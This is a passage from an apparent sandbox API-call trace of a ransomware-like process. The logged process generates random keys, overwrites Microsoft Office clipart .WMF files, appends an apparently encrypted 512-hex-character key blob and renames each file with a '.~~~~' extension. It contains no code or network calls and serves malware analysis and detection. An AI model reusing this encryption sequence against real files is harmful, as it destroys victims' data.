	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c0c8
	[0089.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.227] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.228] GetLastError () returned 0x0
	[0089.228] GetLastError () returned 0x0
	[0089.228] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.228] GetLastError () returned 0x0
	[0089.228] GetLastError () returned 0x0
	[0089.232] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffded4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.232] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x212c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x212c, lpOverlapped=0x0) returned 1
	[0089.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.233] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.233] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.233] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.233] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.233] CloseHandle (hObject=0x11c) returned 1
	[0089.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.~~~~")) returned 1
	[0089.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.234] GetLastError () returned 0x0
	[0089.235] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.236] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.236] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.236] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20922610574) returned 1
	[0089.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ef6caf0, dwHighDateTime=0x1d60e1e)) 
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2780
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2780 | out: hHeap=0x300000) returned 1
	[0089.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c160
	[0089.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.237] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.237] GetLastError () returned 0x0
	[0089.237] GetLastError () returned 0x0
	[0089.237] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.237] GetLastError () returned 0x0
	[0089.237] GetLastError () returned 0x0
	[0089.241] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe184, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.241] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1e7c, lpOverlapped=0x0) returned 1
	[0089.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.242] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.242] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.242] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.242] CloseHandle (hObject=0x11c) returned 1
	[0089.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.242] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.~~~~")) returned 1
	[0089.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.243] GetLastError () returned 0x0
	[0089.244] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.245] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.245] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.245] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20923503609) returned 1
	[0089.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ef92c50, dwHighDateTime=0x1d60e1e)) 
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2748
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2748 | out: hHeap=0x300000) returned 1
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c1f8
	[0089.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.246] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.246] GetLastError () returned 0x0
	[0089.246] GetLastError () returned 0x0
	[0089.246] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.246] GetLastError () returned 0x0
	[0089.246] GetLastError () returned 0x0
	[0089.364] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe184, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.364] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1e7c, lpOverlapped=0x0) returned 1
	[0089.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.365] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.366] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.366] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.366] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.366] CloseHandle (hObject=0x11c) returned 1
	[0089.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.~~~~")) returned 1
	[0089.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.367] GetLastError () returned 0x0
	[0089.367] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.369] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.369] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.369] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20935904796) returned 1
	[0089.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f0c3750, dwHighDateTime=0x1d60e1e)) 
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3958
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3958 | out: hHeap=0x300000) returned 1
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c290
	[0089.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.370] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.370] GetLastError () returned 0x0
	[0089.370] GetLastError () returned 0x0
	[0089.370] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.370] GetLastError () returned 0x0
	[0089.370] GetLastError () returned 0x0
	[0089.373] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd28c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.373] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2d74, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2d74, lpOverlapped=0x0) returned 1
	[0089.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.373] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.373] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.374] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.374] CloseHandle (hObject=0x11c) returned 1
	[0089.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.~~~~")) returned 1
	[0089.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.375] GetLastError () returned 0x0
	[0089.376] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.377] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.377] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20936726816) returned 1
	[0089.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f0c3750, dwHighDateTime=0x1d60e1e)) 
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a00
	[0089.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a00 | out: hHeap=0x300000) returned 1
	[0089.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cdd8
	[0089.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.378] GetLastError () returned 0x0
	[0089.378] GetLastError () returned 0x0
	[0089.378] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.378] GetLastError () returned 0x0
	[0089.378] GetLastError () returned 0x0
	[0089.381] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffa80c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.381] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x57f4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x57f4, lpOverlapped=0x0) returned 1
	[0089.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.382] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.382] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.382] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.382] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.382] CloseHandle (hObject=0x11c) returned 1
	[0089.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.~~~~")) returned 1
	[0089.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.383] GetLastError () returned 0x0
	[0089.383] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.384] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.384] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.385] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20937466412) returned 1
	[0089.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f0e98b0, dwHighDateTime=0x1d60e1e)) 
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a38
